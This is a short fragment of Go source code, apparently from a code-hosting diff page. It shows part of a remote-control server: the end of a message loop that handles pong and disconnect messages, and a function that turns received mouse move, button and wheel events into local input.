_ = protocol.WriteMessage(conn, protocol.MsgPong, nil)
|
||||
case protocol.MsgDisconnect:
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
}
|
||||
errCh <- fmt.Errorf("client disconnected")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func applyMouse(m protocol.InputMouse) {
|
||||
switch m.Action {
|
||||
case protocol.MouseMove:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
case protocol.MouseLeftDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonLeft, true)
|
||||
case protocol.MouseLeftUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonLeft, false)
|
||||
case protocol.MouseRightDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonRight, true)
|
||||
case protocol.MouseRightUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonRight, false)
|
||||
case protocol.MouseMiddleDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonMiddle, true)
|
||||
case protocol.MouseMiddleUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonMiddle, false)
|
||||
case protocol.MouseWheel:
|
||||
_ = input.MouseWheel(m.WheelDelta)
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user